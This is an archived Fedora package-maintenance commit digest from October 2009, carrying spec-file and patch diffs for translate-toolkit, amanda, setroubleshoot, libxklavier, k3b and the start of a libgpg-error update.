In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10447

Modified Files:
	.cvsignore sources translate-toolkit.spec 
Removed Files:
	translate-toolkit-1.4.0-bug1114-obsolete-msgctxt.patch 
Log Message:
* Thu Oct 15 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.1-1
- Update to 1.4.1
   - Better support for printf (including numbered) variables (bug 1118)
   - Fixes for the upcoming Pootle, including combined searches (bug 1036)
   - subtle bug in tmserver handling of the percent sign (%) (bug 1101)
   - obsolete messages seen as translatable (bug 1114)
- Drop patch bug#1114 - obsolete messages should not be translatable



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/translate-toolkit/devel/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	5 Aug 2009 05:46:57 -0000	1.18
+++ .cvsignore	15 Oct 2009 14:05:34 -0000	1.19
@@ -1 +1 @@
-translate-toolkit-1.4.0.tar.bz2
+translate-toolkit-1.4.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/translate-toolkit/devel/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	5 Aug 2009 05:46:57 -0000	1.19
+++ sources	15 Oct 2009 14:05:34 -0000	1.20
@@ -1 +1 @@
-e588e04d6a71975f62dc96828824a510  translate-toolkit-1.4.0.tar.bz2
+820158835f7f8953c4a8b807f7b22f3c  translate-toolkit-1.4.1.tar.bz2


Index: translate-toolkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/translate-toolkit/devel/translate-toolkit.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- translate-toolkit.spec	24 Aug 2009 14:53:59 -0000	1.35
+++ translate-toolkit.spec	15 Oct 2009 14:05:34 -0000	1.36
@@ -1,19 +1,17 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           translate-toolkit
-Version:        1.4.0
-Release:        2%{?dist}
+Version:        1.4.1
+Release:        1%{?dist}
 Summary:        Tools to assist with translation and software localization
 
 Group:          Development/Tools
 License:        GPLv2+
 URL:            http://translate.sourceforge.net/wiki/toolkit/index
-Source0:        http://downloads.sourceforge.net/project/translate/Translate%20Toolkit/1.4.0/%{name}-%{version}.tar.bz2
+Source0:        http://downloads.sourceforge.net/project/translate/Translate%20Toolkit/%{version}/%{name}-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Patch0:         translate-toolkit-1.2.1-stoplist.patch
-# Bug 1114
-Patch1:         translate-toolkit-1.4.0-bug1114-obsolete-msgctxt.patch
 
 BuildArch:      noarch
 BuildRequires:  python-devel
@@ -70,7 +68,6 @@ toolkit or to use the libraries in other
 %prep
 %setup -q
 %patch0 -p1
-%patch1 -p2
 
 
 %build
@@ -125,7 +122,15 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Wed Aug 5 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.0-2
+* Thu Oct 15 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.1-1
+- Update to 1.4.1
+   - Better support for printf (including numbered) variables (bug 1118)
+   - Fixes for the upcoming Pootle, including combined searches (bug 1036)
+   - subtle bug in tmserver handling of the percent sign (%) (bug 1101)
+   - obsolete messages seen as translatable (bug 1114)
+- Drop patch bug#1114 - obsolete messages should not be translatable
+
+* Mon Aug 24 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.0-2
 - Upstream bug #1114 - obsolete messages should not be translatable
 
 * Wed Aug 5 2009 Dwayne Bailey <dwayne at translate.org.za> - 1.4.0-1


--- translate-toolkit-1.4.0-bug1114-obsolete-msgctxt.patch DELETED ---



From dnovotny at fedoraproject.org  Thu Oct 15 14:08:19 2009
From: dnovotny at fedoraproject.org (Daniel Novotny)
Date: Thu, 15 Oct 2009 14:08:19 +0000 (UTC)
Subject: rpms/amanda/F-12 amanda.spec,1.64,1.65
Message-ID: <20091015140819.25B7C11C00DB@cvs1.fedora.phx.redhat.com>

Author: dnovotny

Update of /cvs/extras/rpms/amanda/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11774

Modified Files:
	amanda.spec 
Log Message:
add amanda user to group "tape" (#529159)



Index: amanda.spec
===================================================================
RCS file: /cvs/extras/rpms/amanda/F-12/amanda.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- amanda.spec	21 Aug 2009 12:22:06 -0000	1.64
+++ amanda.spec	15 Oct 2009 14:08:18 -0000	1.65
@@ -7,7 +7,7 @@
 Summary: A network-capable tape backup solution
 Name: amanda
 Version: 2.6.0p2
-Release: 13%{?dist}
+Release: 14%{?dist}
 Source: http://downloads.sourceforge.net/amanda/amanda-%{version}.tar.gz
 #Source: http://www.zmanda.com/downloads/community/community-builds/amanda-%{version}.tar.gz
 Source1: amanda.crontab
@@ -173,6 +173,7 @@ mv /var/spool/cron/amanda /var/spool/cro
 
 /usr/sbin/useradd -M -N -g %amanda_group -o -r -d %{_localstatedir}/lib/amanda -s /bin/bash \
 	-c "Amanda user" -u 33 %amanda_user >/dev/null 2>&1 || :
+/usr/bin/gpasswd -a %amanda_user tape >/dev/null 2>&1 || :
 
 %post
 /sbin/ldconfig
@@ -379,6 +380,9 @@ grep -l -E '^dumpuser[[:blank:]]*"amanda
 %{_libdir}/libamandad.so
 
 %changelog
+* Thu Oct 15 2009 Daniel Novotny <dnovotny at redhat.com> 2.6.0p2-14
+- add amanda user to group "tape" (#529159)
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.6.0p2-13
 - rebuilt with new openssl
 



From dwalsh at fedoraproject.org  Thu Oct 15 14:08:28 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 15 Oct 2009 14:08:28 +0000 (UTC)
Subject: rpms/setroubleshoot/devel setroubleshoot.spec,1.173,1.174
Message-ID: <20091015140828.8727011C00DB@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11859

Modified Files:
	setroubleshoot.spec 
Log Message:
* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.40-1
- Fix up browser button handling when there are 0, 1 or more alerts



Index: setroubleshoot.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/setroubleshoot.spec,v
retrieving revision 1.173
retrieving revision 1.174
diff -u -p -r1.173 -r1.174
--- setroubleshoot.spec	13 Oct 2009 21:20:14 -0000	1.173
+++ setroubleshoot.spec	15 Oct 2009 14:08:28 -0000	1.174
@@ -1,6 +1,6 @@
 Summary: Helps troubleshoot SELinux problems
 Name: setroubleshoot
-Version: 2.2.39
+Version: 2.2.40
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -212,6 +212,9 @@ Setroubleshoot documentation package
 %doc %{pkgdocdir}
 
 %changelog
+* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.40-1
+- Fix up browser button handling when there are 0, 1 or more alerts
+
 * Tue Oct 13 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.39-1
 - Catch additional bugzilla exception
 



From mclasen at fedoraproject.org  Thu Oct 15 14:11:05 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 15 Oct 2009 14:11:05 +0000 (UTC)
Subject: rpms/libxklavier/F-12 xinput-fixes.patch, NONE, 1.1 libxklavier.spec,
	1.53, 1.54
Message-ID: <20091015141105.9812611C02A2@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/libxklavier/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12811

Modified Files:
	libxklavier.spec 
Added Files:
	xinput-fixes.patch 
Log Message:
XInput error handling fixes


xinput-fixes.patch:
 xklavier_evt.c         |  129 +++++++++++++++++++++++++++++++++----------------
 xklavier_evt_xkb.c     |   15 +++++
 xklavier_private.h     |    7 ++
 xklavier_private_xkb.h |    6 +-
 xklavier_toplevel.c    |   16 ++++++
 xklavier_xkb.c         |   29 +++++++----
 xklavier_xmm.c         |    1 
 7 files changed, 152 insertions(+), 51 deletions(-)

--- NEW FILE xinput-fixes.patch ---
? xinput-fixes.patch
Index: libxklavier/xklavier_evt.c
===================================================================
RCS file: /cvs/xklavier/libxklavier/libxklavier/xklavier_evt.c,v
retrieving revision 1.26
retrieving revision 1.29
diff -u -r1.26 -r1.29
--- libxklavier/xklavier_evt.c	24 Apr 2009 22:10:19 -0000	1.26
+++ libxklavier/xklavier_evt.c	30 Sep 2009 09:49:57 -0000	1.29
@@ -50,7 +50,8 @@
 			break;
 		case CreateNotify:
 			xkl_engine_process_create_window_evt(engine,
-							     &xev->xcreatewindow);
+							     &xev->
+							     xcreatewindow);
 			break;
 		case DestroyNotify:
 			xkl_debug(150,
@@ -100,6 +101,8 @@
 				XFocusChangeEvent * fev)
 {
 	Window win;
+	Window prev_toplevel_win =
+	    xkl_engine_priv(engine, curr_toplvl_win);
 	Window toplevel_win;
 	XklState selected_window_state;
 
@@ -135,36 +138,51 @@
 
 	if (xkl_engine_get_toplevel_window_state
 	    (engine, toplevel_win, &selected_window_state)) {
-		if (xkl_engine_priv(engine, curr_toplvl_win) !=
-		    toplevel_win) {
-			gboolean old_win_transparent, new_win_transparent;
-			XklState tmp_state;
-
-			old_win_transparent =
-			    xkl_engine_is_toplevel_window_transparent
-			    (engine,
-			     xkl_engine_priv(engine, curr_toplvl_win));
-			if (old_win_transparent)
-				xkl_debug(150,
-					  "Leaving transparent window\n");
+		if (prev_toplevel_win != toplevel_win) {
+			gboolean new_win_transparent;
+			Window parent = (Window) NULL, root =
+			    (Window) NULL, *children = NULL;
+			guint nchildren = 0;
 
 			/*
-			 * Reload the current state from the current window. 
-			 * Do not do it for transparent window - we keep the state from 
-			 * the _previous_ window.
+			 * If previous focused window exists - handle transparency and state
+			 * (optional)
 			 */
-			if (!old_win_transparent &&
-			    xkl_engine_get_toplevel_window_state(engine,
-								 xkl_engine_priv
-								 (engine,
-								  curr_toplvl_win),
-								 &tmp_state))
-			{
-				xkl_engine_update_current_state(engine,
-								tmp_state.group,
-								tmp_state.indicators,
-								"Loading current (previous) state from the current (previous) window");
-			}
+			if (xkl_engine_query_tree
+			    (engine, prev_toplevel_win, &root, &parent,
+			     &children, &nchildren) == Success) {
+				XklState tmp_state;
+				gboolean old_win_transparent =
+				    xkl_engine_is_toplevel_window_transparent
+				    (engine, prev_toplevel_win);
+
+				if (children != NULL)
+					XFree(children);
+
+				if (old_win_transparent)
+					xkl_debug(150,
+						  "Leaving transparent window\n");
+				/*
+				 * Reload the current state from the current window. 
+				 * Do not do it for transparent window - we keep the state from 
+				 * the _previous_ window.
+				 */
+				if (!old_win_transparent
+				    &&
+				    xkl_engine_get_toplevel_window_state
+				    (engine, prev_toplevel_win,
+				     &tmp_state)) {
+					xkl_engine_update_current_state
+					    (engine, tmp_state.group,
+					     tmp_state.indicators,
+					     "Loading current (previous) state from the current (previous) window");
+				}
+			} else
+				xkl_debug(150,
+					  "Current (previous) window "
+					  WINID_FORMAT
+					  " does not exist any more, so transparency/state are not analyzed\n",
+					  prev_toplevel_win);
 
 			xkl_engine_priv(engine, curr_toplvl_win) =
 			    toplevel_win;
@@ -216,8 +234,10 @@
 							  "Restoring the group from %d to %d after gaining focus\n",
 							  xkl_engine_priv
 							  (engine,
-							   curr_state).group,
-							  selected_window_state.group);
+							   curr_state).
+							  group,
+							  selected_window_state.
+							  group);
 						/*
 						 *  For fast mouse movements - the state is probably not updated yet
 						 *  (because of the group change notification being late).
@@ -225,17 +245,21 @@
 						 */
 						xkl_engine_update_current_state
 						    (engine,
-						     selected_window_state.group,
-						     selected_window_state.indicators,
+						     selected_window_state.
+						     group,
+						     selected_window_state.
+						     indicators,
 						     "Enforcing fast update of the current state");
 						xkl_engine_lock_group
 						    (engine,
-						     selected_window_state.group);
+						     selected_window_state.
+						     group);
 					} else {
 						xkl_debug(150,
 							  "Both old and new focused window "
 							  "have group %d so no point restoring it\n",
-							  selected_window_state.group);
+							  selected_window_state.
+							  group);
 						xkl_engine_one_switch_to_secondary_group_performed
 						    (engine);
 					}
@@ -249,8 +273,10 @@
 					xkl_debug(150,
 						  "Restoring the indicators from %X to %X after gaining focus\n",
 						  xkl_engine_priv(engine,
-								  curr_state).indicators,
-						  selected_window_state.indicators);
+								  curr_state).
+						  indicators,
+						  selected_window_state.
+						  indicators);
 					xkl_engine_ensure_vtable_inited
 					    (engine);
 					xkl_engine_vcall(engine,
@@ -261,12 +287,14 @@
 					xkl_debug(150,
 						  "Not restoring the indicators %X after gaining focus: indicator handling is not enabled\n",
 						  xkl_engine_priv(engine,
-								  curr_state).indicators);
+								  curr_state).
+						  indicators);
 			} else
 				xkl_debug(150,
 					  "Not restoring the group %d after gaining focus: global layout (xor transparent window)\n",
 					  xkl_engine_priv(engine,
-							  curr_state).group);
+							  curr_state).
+					  group);
 		} else
 			xkl_debug(150,
 				  "Same app window - just do nothing\n");
@@ -392,11 +420,13 @@
 					  "Something (%d) happened to WM_STATE of window 0x%x\n",
 					  pev->state, pev->window);
 				xkl_engine_select_input_merging(engine,
-								pev->window,
+								pev->
+								window,
 								PropertyChangeMask);
 				if (has_xkl_state) {
 					xkl_engine_delete_state(engine,
-								pev->window);
+								pev->
+								window);
 				}
 			}
 		}		/* XKLL_MANAGE_WINDOW_STATES */
@@ -475,8 +505,9 @@
 		xkl_engine_priv(engine, last_error_code) = evt->error_code;
 
 	switch (evt->error_code) {
-	case BadWindow:
 	case BadAccess:
+	case BadDrawable:
+	case BadWindow:
 		{
 			XGetErrorText(evt->display, evt->error_code, buf,
 				      sizeof(buf));
@@ -491,6 +522,22 @@
 			break;
 		}
 	default:
+		if (engine != NULL
+		    && xkl_engine_priv(engine, process_x_error)) {
+			if (xkl_engine_priv(engine, process_x_error)
+			    (engine, evt)) {
+				xkl_debug(200,
+					  "X ERROR processed by the engine: %p, "
+					  WINID_FORMAT ", %d [%s], "
+					  "X11 request: %d, minor code: %d\n",
+					  dpy,
+					  (unsigned long) evt->resourceid,
+					  (int) evt->error_code, buf,
+					  (int) evt->request_code,
+					  (int) evt->minor_code);
+				break;
+			}
+		}
 		xkl_debug(200,
 			  "Unexpected by libxklavier X ERROR: %p, "
 			  WINID_FORMAT ", %d [%s], "
Index: libxklavier/xklavier_evt_xkb.c
===================================================================
RCS file: /cvs/xklavier/libxklavier/libxklavier/xklavier_evt_xkb.c,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -r1.11 -r1.12
--- libxklavier/xklavier_evt_xkb.c	17 Nov 2008 00:19:27 -0000	1.11
+++ libxklavier/xklavier_evt_xkb.c	30 Sep 2009 09:49:57 -0000	1.12
@@ -162,6 +162,21 @@
 #endif
 }
 
+/*
+ * XKB error handler
+ */
+gint
+xkl_xkb_process_x_error(XklEngine * engine, XErrorEvent * xerev)
+{
+#ifdef HAVE_XINPUT
+	/* Ignore XInput errors */
+	if (xerev->error_code == xkl_engine_backend(engine, XklXkb, xi_error_code))
+		return 1;
+#endif
+
+	return 0;
+}
+
 void
 xkl_xkb_set_indicators(XklEngine * engine, const XklState * window_state)
 {
Index: libxklavier/xklavier_private.h
===================================================================
RCS file: /cvs/xklavier/libxklavier/libxklavier/xklavier_private.h,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -r1.38 -r1.39
--- libxklavier/xklavier_private.h	23 Jun 2009 23:18:38 -0000	1.38
+++ libxklavier/xklavier_private.h	30 Sep 2009 09:49:57 -0000	1.39
@@ -157,6 +157,13 @@
 	 gint(*process_x_event) (XklEngine * engine, XEvent * xev);
 
 	/*
+	 * Handles X errors.
+	 * return 0 if further processing is needed
+	 *        1 if error was handled
+	 */
+	 gint(*process_x_error) (XklEngine * engine, XErrorEvent * xerev);
+
+	/*
 	 * Flushes the cached server config info.
 	 * xkb: frees XkbDesc
 	 * xmodmap: frees internal XklConfigRec
Index: libxklavier/xklavier_private_xkb.h
===================================================================
RCS file: /cvs/xklavier/libxklavier/libxklavier/xklavier_private_xkb.h,v
retrieving revision 1.18
retrieving revision 1.20
diff -u -r1.18 -r1.20
--- libxklavier/xklavier_private_xkb.h	23 Jun 2009 21:33:00 -0000	1.18
+++ libxklavier/xklavier_private_xkb.h	30 Sep 2009 09:49:57 -0000	1.20
@@ -48,6 +48,8 @@
 
 #ifdef HAVE_XINPUT
 	gint xi_event_type;
+
+	gint xi_error_code;
 #endif
 } XklXkb;
 
@@ -86,7 +88,9 @@
 						 const XklConfigRec * data,
 						 const gboolean binary);
 
-extern gint xkl_xkb_process_x_event(XklEngine * engine, XEvent * kev);
+extern gint xkl_xkb_process_x_event(XklEngine * engine, XEvent * xev);
+
+extern gint xkl_xkb_process_x_error(XklEngine * engine, XErrorEvent * xerev);
 
 extern void xkl_xkb_free_all_info(XklEngine * engine);
 
Index: libxklavier/xklavier_toplevel.c
===================================================================
RCS file: /cvs/xklavier/libxklavier/libxklavier/xklavier_toplevel.c,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -r1.6 -r1.7
--- libxklavier/xklavier_toplevel.c	1 Mar 2008 21:43:19 -0000	1.6
+++ libxklavier/xklavier_toplevel.c	12 Oct 2009 20:28:55 -0000	1.7
@@ -114,6 +114,22 @@
 	    g_signal_lookup("new-toplevel-window", xkl_engine_get_type());
 	g_signal_emitv(params, signal_id, 0, &rv);
 	default_group_to_use = g_value_get_int(&rv);
+        
+	if (default_group_to_use == -1) {
+		Window transient_for = 0;
+		if (XGetTransientForHint(xkl_engine_get_display(engine), toplevel_win, &transient_for)) {
+			if (transient_for) {
+				XklState trans_state;
+				gboolean have_state =
+					xkl_engine_get_toplevel_window_state(engine,
+							 transient_for,
+							 &trans_state);
+				if (have_state) {
+					default_group_to_use = trans_state.group;
+				}
+			}
+		}
+	}
 
 	if (default_group_to_use == -1)
 		default_group_to_use =
Index: libxklavier/xklavier_xkb.c
===================================================================
RCS file: /cvs/xklavier/libxklavier/libxklavier/xklavier_xkb.c,v
retrieving revision 1.33
retrieving revision 1.37
diff -u -r1.33 -r1.37
--- libxklavier/xklavier_xkb.c	24 Apr 2009 22:10:19 -0000	1.33
+++ libxklavier/xklavier_xkb.c	30 Sep 2009 09:49:57 -0000	1.37
@@ -96,7 +96,7 @@
 			      XkbNamesNotify, XKB_NAMES_EVT_DTL_MASK,
 			      XKB_NAMES_EVT_DTL_MASK);
 #ifdef HAVE_XINPUT
-	if (xkl_engine_priv(engine, features) | XKLF_DEVICE_DISCOVERY) {
+	if (xkl_engine_priv(engine, features) & XKLF_DEVICE_DISCOVERY) {
 		DevicePresence(display, xitype, xiclass);
 		XSelectExtensionEvent(display,
 				      xkl_engine_priv(engine, root_window),
@@ -353,8 +353,8 @@
 				 &current_state_out->indicators))
 		current_state_out->indicators &=
 		    xkl_engine_backend(engine, XklXkb,
-				       cached_desc)->
-		    indicators->phys_indicators;
+				       cached_desc)->indicators->
+		    phys_indicators;
 	else
 		current_state_out->indicators = 0;
 }
@@ -402,8 +402,8 @@
 						     xkl_engine_backend
 						     (engine, XklXkb,
 						      device_id),
-						     cached->
-						     names->indicators
+						     cached->names->
+						     indicators
 						     [indicator_num], set,
 						     False, NULL);
 			else {
@@ -541,7 +541,7 @@
 #ifdef LIBXKBFILE_PRESENT
 	gint opcode;
 	gboolean xkl_xkb_ext_present;
-	int xi_opc, xi_event_type, xi_error_code;
+	int xi_opc;
 
 	xkl_engine_priv(engine, backend_id) = "XKB";
 	xkl_engine_priv(engine, features) = XKLF_CAN_TOGGLE_INDICATORS |
@@ -564,6 +564,7 @@
 	xkl_engine_priv(engine, get_num_groups) = xkl_xkb_get_num_groups;
 	xkl_engine_priv(engine, lock_group) = xkl_xkb_lock_group;
 	xkl_engine_priv(engine, process_x_event) = xkl_xkb_process_x_event;
+	xkl_engine_priv(engine, process_x_error) = xkl_xkb_process_x_error;
 	xkl_engine_priv(engine, free_all_info) = xkl_xkb_free_all_info;
 	xkl_engine_priv(engine, if_cached_info_equals_actual) =
 	    xkl_xkb_if_cached_info_equals_actual;
@@ -615,14 +616,24 @@
 		xkl_engine_priv(engine, features) |=
 		    XKLF_MULTIPLE_LAYOUTS_SUPPORTED;
 
+#if HAVE_XINPUT
 	if (XQueryExtension
 	    (display, "XInputExtension", &xi_opc,
-	     &xi_event_type, &xi_error_code)) {
+	     &xkl_engine_backend(engine, XklXkb, xi_event_type),
+	     &xkl_engine_backend(engine, XklXkb, xi_error_code))) {
 		xkl_debug(150, "XInputExtension found (%d, %d, %d)\n",
-			  xi_opc, xi_event_type, xi_error_code);
+			  xi_opc,
+			  xkl_engine_backend(engine, XklXkb,
+					     xi_event_type),
+			  xkl_engine_backend(engine, XklXkb,
+					     xi_error_code));
 		xkl_engine_priv(engine, features) |= XKLF_DEVICE_DISCOVERY;
-	} else
+	} else {
 		xkl_debug(0, "XInputExtension not found\n");
+		xkl_engine_backend(engine, XklXkb, xi_event_type) = -1;
+		xkl_engine_backend(engine, XklXkb, xi_error_code) = -1;
+	}
+#endif
 	return 0;
 #else
 	xkl_debug(160,
Index: libxklavier/xklavier_xmm.c
===================================================================
RCS file: /cvs/xklavier/libxklavier/libxklavier/xklavier_xmm.c,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -r1.14 -r1.15
--- libxklavier/xklavier_xmm.c	27 Apr 2008 14:59:55 -0000	1.14
+++ libxklavier/xklavier_xmm.c	30 Sep 2009 09:49:57 -0000	1.15
@@ -327,6 +327,7 @@
 	xkl_engine_priv(engine, lock_group) = xkl_xmm_lock_group;
 
 	xkl_engine_priv(engine, process_x_event) = xkl_xmm_process_x_event;
+	xkl_engine_priv(engine, process_x_error) = NULL;
 	xkl_engine_priv(engine, free_all_info) = xkl_xmm_free_all_info;
 	xkl_engine_priv(engine, if_cached_info_equals_actual) =
 	    xkl_xmm_if_cached_info_equals_actual;


Index: libxklavier.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libxklavier/F-12/libxklavier.spec,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- libxklavier.spec	3 Oct 2009 02:38:44 -0000	1.53
+++ libxklavier.spec	15 Oct 2009 14:11:04 -0000	1.54
@@ -1,7 +1,7 @@
 Summary:	High-level API for X Keyboard Extension
 Name:		libxklavier
 Version:	4.0
-Release: 	5%{?dist}
+Release: 	6%{?dist}
 License:	LGPLv2+
 Group:		Development/Libraries
 URL: http://gswitchit.sourceforge.net/
@@ -16,8 +16,7 @@ Source: http://download.gnome.org/source
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 # http://bugs.freedesktop.org/show_bug.cgi?id=22687
 Patch0: flags.patch
-# https://bugs.freedesktop.org/show_bug.cgi?id=24285
-Patch1: xklavier-handle-baddrawable.patch
+Patch1: xinput-fixes.patch
 
 %description
 libxklavier is a library providing a high-level API for the X Keyboard
@@ -40,6 +39,7 @@ needed to develop libxklavier applicatio
 %prep
 %setup -q
 %patch0 -p1 -b .flags
+%patch1 -p0 -b .xinput
 
 %build
 
@@ -80,6 +80,9 @@ rm -rf %{buildroot}
 %{_datadir}/gtk-doc/html/libxklavier/
 
 %changelog
+* Thu Oct 15 2009 Matthias Clasen <mclasen at redhat.com> - 4.0-6
+- Incorporate upstream fixes for XInput error handling
+
 * Fri Oct  2 2009 Matthias Clasen <mclasen at redhat.com> - 4.0-5
 - Handle BadDrawable errors gracefully
 



From rdieter at fedoraproject.org  Thu Oct 15 14:18:43 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 14:18:43 +0000 (UTC)
Subject: rpms/k3b/devel .cvsignore, 1.22, 1.23 k3b.spec, 1.77, 1.78 sources, 
	1.23, 1.24
Message-ID: <20091015141843.4224611C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/k3b/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15099

Modified Files:
	.cvsignore k3b.spec sources 
Log Message:
* Sat Sep 26 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:1.66.0-5
- Epoch: 1 (increment Release too, to minimize confusion)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/k3b/devel/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	27 May 2009 13:30:33 -0000	1.22
+++ .cvsignore	15 Oct 2009 14:18:42 -0000	1.23
@@ -1 +1 @@
-k3b-1.66.0alpha2.tar.bz2
+k3b-1.68.0alpha3.tar.bz2


Index: k3b.spec
===================================================================
RCS file: /cvs/pkgs/rpms/k3b/devel/k3b.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- k3b.spec	26 Sep 2009 18:04:51 -0000	1.77
+++ k3b.spec	15 Oct 2009 14:18:43 -0000	1.78
@@ -1,11 +1,11 @@
 
-%define pre alpha2
+%define pre alpha3
 
 Name:    k3b
 Summary: CD/DVD burning application
 Epoch:   1
-Version: 1.66.0
-Release: 5%{?dist}
+Version: 1.68.0
+Release: 1%{?dist}
 
 Group:   Applications/Archiving
 License: GPLv2+


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/k3b/devel/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	27 May 2009 13:30:33 -0000	1.23
+++ sources	15 Oct 2009 14:18:43 -0000	1.24
@@ -1 +1 @@
-60717ca718da93ee65f5fc2c0d9e8c71  k3b-1.66.0alpha2.tar.bz2
+bfad8703714c6d71fae992ca7ba7fc38  k3b-1.68.0alpha3.tar.bz2



From rdieter at fedoraproject.org  Thu Oct 15 14:20:13 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu, 15 Oct 2009 14:20:13 +0000 (UTC)
Subject: rpms/k3b/devel k3b.spec,1.78,1.79
Message-ID: <20091015142013.CD6B511C029F@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/k3b/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15524

Modified Files:
	k3b.spec 
Log Message:
* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:1.68.0-1
- k3b-1.68.0 (alpha3)



Index: k3b.spec
===================================================================
RCS file: /cvs/pkgs/rpms/k3b/devel/k3b.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- k3b.spec	15 Oct 2009 14:18:43 -0000	1.78
+++ k3b.spec	15 Oct 2009 14:20:13 -0000	1.79
@@ -137,6 +137,9 @@ fi
 
 
 %changelog
+* Thu Oct 15 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:1.68.0-1
+- k3b-1.68.0 (alpha3)
+
 * Sat Sep 26 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:1.66.0-5
 - Epoch: 1 (increment Release too, to minimize confusion)
 



From dwalsh at fedoraproject.org  Thu Oct 15 14:25:51 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 15 Oct 2009 14:25:51 +0000 (UTC)
Subject: rpms/setroubleshoot/devel .cvsignore, 1.133, 1.134 sources, 1.146,
	1.147
Message-ID: <20091015142551.60EB911C00DB@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16755

Modified Files:
	.cvsignore sources 
Log Message:
* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.40-1
- Fix up browser button handling when there are 0, 1 or more alerts



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/.cvsignore,v
retrieving revision 1.133
retrieving revision 1.134
diff -u -p -r1.133 -r1.134
--- .cvsignore	13 Oct 2009 21:20:14 -0000	1.133
+++ .cvsignore	15 Oct 2009 14:25:51 -0000	1.134
@@ -51,3 +51,4 @@ setroubleshoot-2.2.36.tar.gz
 setroubleshoot-2.2.37.tar.gz
 setroubleshoot-2.2.38.tar.gz
 setroubleshoot-2.2.39.tar.gz
+setroubleshoot-2.2.40.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/sources,v
retrieving revision 1.146
retrieving revision 1.147
diff -u -p -r1.146 -r1.147
--- sources	13 Oct 2009 21:20:15 -0000	1.146
+++ sources	15 Oct 2009 14:25:51 -0000	1.147
@@ -1 +1 @@
-ccc4cb3aa412a0b835d6d7f7bfe481d6  setroubleshoot-2.2.39.tar.gz
+f91cdbe0d7bf14b27bf5c6b0f599b3b7  setroubleshoot-2.2.40.tar.gz



From nalin at fedoraproject.org  Thu Oct 15 14:27:10 2009
From: nalin at fedoraproject.org (Nalin Dahyabhai)
Date: Thu, 15 Oct 2009 14:27:10 +0000 (UTC)
Subject: rpms/libgpg-error/devel .cvsignore, 1.8, 1.9 libgpg-error.spec, 1.26,
	1.27 sources, 1.8, 1.9
Message-ID: <20091015142710.7EC4611C00DB@cvs1.fedora.phx.redhat.com>

Author: nalin

Update of /cvs/extras/rpms/libgpg-error/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17127

Modified Files:
	.cvsignore libgpg-error.spec sources 
Log Message:
long-overdue update to 1.7


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/libgpg-error/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
